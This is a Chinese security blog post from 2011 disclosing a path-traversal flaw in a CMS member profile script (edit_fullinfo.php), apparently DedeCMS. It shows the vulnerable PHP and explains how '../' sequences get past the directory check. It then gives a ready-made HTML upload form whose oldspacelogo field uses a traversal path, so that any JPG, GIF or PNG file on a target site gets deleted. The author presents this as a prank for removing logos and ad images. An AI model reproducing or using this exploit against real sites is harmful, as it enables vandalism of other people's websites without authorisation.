作者:心灵
o(∩_∩)o ,哈哈,刚拿这个漏洞去玩,现在肚子还在笑。
纯属恶作剧,反正很搞笑的漏洞就是了,此漏洞只能当作恶作剧使用,并没什么用处。
经典对白看代码……
edit_fullinfo.php:
if($dopost=='save') //edit_fullinfo.php?dopost=save 就来到这步了
{
$oldspacelogo=(empty($oldspacelogo))? "" : $oldspacelogo; //没有做任何过滤
$spacelogo=(empty($spacelogo))? "" : $spacelogo;
$pagesize=(empty($pagesize))? "" : $pagesize;
$sign=(empty($sign))? "" : $sign;
$spacenews =(empty($spacenews))? "" : $spacenews;
$spacename =(empty($spacename))? "" : $spacename;
$maxlength = $cfg_max_face * 1024;
$userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID;
//$userdir就是当前用户ID的图片文件夹 例如 uploads\userup\4\
if(!ereg('^'.$userdir, $oldspacelogo)) //这里绕过简单得很 uploads/userup/4/../../../ 既可绕过
{
$oldspacelogo = '';
}
if(is_uploaded_file($spacelogo)) //这里要一定随便一个文件图片文件上传
{
if(@filesize($_FILES['spacelogo']['tmp_name']) > $maxlength)
{
ShowMsg("你上传的Logo文件超过了系统限制大小:{$cfg_max_face} K!", '-1');
exit();
} //这里是检测图片大小 你找一个1KB的就行了
//删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 这短话是官方留下的
if(eregi("\.(jpg|gif|png)$", $oldspacelogo) && file_exists($cfg_basedir.$oldspacelogo))
{
//由于这里不能被绕过 所以只能删除网站所有的JPG GIF PNG这样后缀的文件 所以才叫恶作剧
@unlink($cfg_basedir.$oldspacelogo)
} |
Exp:
<form id="frmUpload" enctype="multipart/form-data" action="http://www.t00ls.net/member/edit_space_info.php" method="post" name="spacelogo">
Upload a new file:
<input type="file" name="spacelogo" size="50" id="spacelogo" value="spacelogo">
<label>
<input name="dopost" type="text" value="save" />
</label>
<label>
<input name="oldspacelogo" type="text" value="/uploads/userup/111/../../../sb/11.jpg" />
//uploads/userup/111/ 这个路径自己上传一张图片后就能获得 /sb/11.jpg 为要删除图片的路径 这里很简单 不明白的拿块豆腐砸死自己自杀把
</label>
<label>
<input name="spacename" type="text" value="t00ls" />
</label>
<label>
<input name="pagesize" type="text" value="10" />
</label>
<input id="spacelogo" type="submit" value="Upload" >
</form> |
哈哈,这样就能删除网站任何的“JPG、GIF、PNG”格式文件,恶作剧就是把 LOGO 删除了,或者某些广告图片删除,等管理员模糊……
文章作者
Nuclear'Atk
上次更新
2011-01-26
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。